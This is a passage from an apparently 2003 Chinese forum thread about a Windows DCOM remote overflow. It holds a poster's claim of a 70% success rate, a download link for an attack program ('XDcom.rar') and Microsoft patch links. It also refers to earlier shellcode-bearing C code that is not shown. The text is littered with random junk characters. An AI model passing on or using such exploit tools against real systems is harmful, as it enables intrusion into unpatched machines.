IUSR_NS1 8 W3 q- i" ~! s3 fIWAM_DIALTONE IWAM_NS1 SQLDebugger , |5 U, _- r2 \6 ~TsInternetUser WO# y( h8 T+ d% ]$ L; z5 N: F; N; S1 J! ] The command completed with one or more errors. r8 e, a9 M1 K/ P 这样一来你想干什么就是你的事了./ K! S1 f; ? w# _4 O$ J# z! e* V7 s 这版本我已成功测试,70%成功率,可怕!!!,但EXIT目标后再溢出只得等目标5 }/ p% N/ H3 g. F 重启才行. CN可以是繁体或简体中文颁本.3 S2 Y" g& ?/ G0 ? 再次警告:不要对付国内主机!!!!!后果自负!!!! 7 N/ y5 [0 x& F7 v5 UXDcom.rar远程溢出攻击程序下载: 7 v1 {6 K3 H0 b/ Jhttp://www.cnse8.com/opensoft.asp?soft_id=206&url=3
  • TA的每日心情
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    2015-1-16 14:36
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    [LV.2]偶尔看看I

    3
     楼主| 发表于 2003-8-9 22:52:00 | 只看该作者
    补丁:
    # O) F9 d# H. KWindows NT 4.0 Server :" f, l9 g+ A# ?/ [. T( {$ f

    * E% o) t  w4 Bhttp://microsoft.com/downloads/d ... &displaylang=en6 N: D3 U4 K3 b9 D) D  W. d
    & s/ \+ b4 V2 u: t
    Windows NT 4.0 Terminal Server Edition:: D8 x$ r- b& B$ h7 V; s
    ; `9 g: @3 M" o; ]+ g+ ~
    http://microsoft.com/downloads/d ... &displaylang=en
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    Windows 2000:
    ; G, v7 x  s4 Z; F, _' u  e8 ?
    3 D  U0 J( o* U3 ahttp://microsoft.com/downloads/d ... &displaylang=en
    0 `/ F5 R+ A9 R' B1 w(中文)http://microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=C8B8A846-F541-4C15-8C9F-220354449117
    ) M; Q2 b4 K9 _- g8 U, Y" M1 x6 N) t1 [% q6 ]# `" I3 z0 w
    Windows XP 32 bit Edition :
    6 d0 u' a5 q  X; `+ |  s
    - C1 i. @2 H) s" v; f1 N0 phttp://microsoft.com/downloads/d ... &displaylang=en
    : A& f, }, _7 {; v
    0 L# p( I) i' H* c# pWindows XP 64 bit Edition:! c& G) x% p6 x/ u& R5 g5 @1 P% F
    & j( E) ~$ X1 c# D. Z
    http://microsoft.com/downloads/d ... &displaylang=en
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    Windows Server 2003 32 bit Edition:  R& x5 S3 \  [* F- {4 v

    + f+ e5 h' b# Rhttp://microsoft.com/downloads/d ... &displaylang=en, w. a& Z7 J* ^+ w, B2 V
    ) w; _+ ]  e  u' Q2 Q, G
    Windows Server 2003 64 bit Edition:- j# I7 x: X# z2 G; E( R! {' a+ |
    % Y1 X* h7 m& n8 f6 A
    http://microsoft.com/downloads/d ... &displaylang=en3 _* I# {9 u7 G% R0 z5 n
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    [此贴子已经被作者于2003-8-9 23:05:32编辑过]
    7 Y4 Q; K" E9 G$ F8 x
  • TA的每日心情
    无聊
    2015-1-16 14:36
  • 签到天数: 3 天

    [LV.2]偶尔看看I

    4
     楼主| 发表于 2003-8-10 21:25:00 | 只看该作者
    上述那段捆绑了SHELL CODE的C代码还不完整,没有处理返回的数据,因此VC下编译后的程序执行后没有反应,大家如果有兴趣研究的话,可以补充完整(俺工作太忙,没有太多的时间去补充,Hoho,不要成为只会使用工具的“伪黑客”,说白了,只会使用工具的人都是菜鸟,网络原理都弄不清楚,还搞什么攻击,KAO)。

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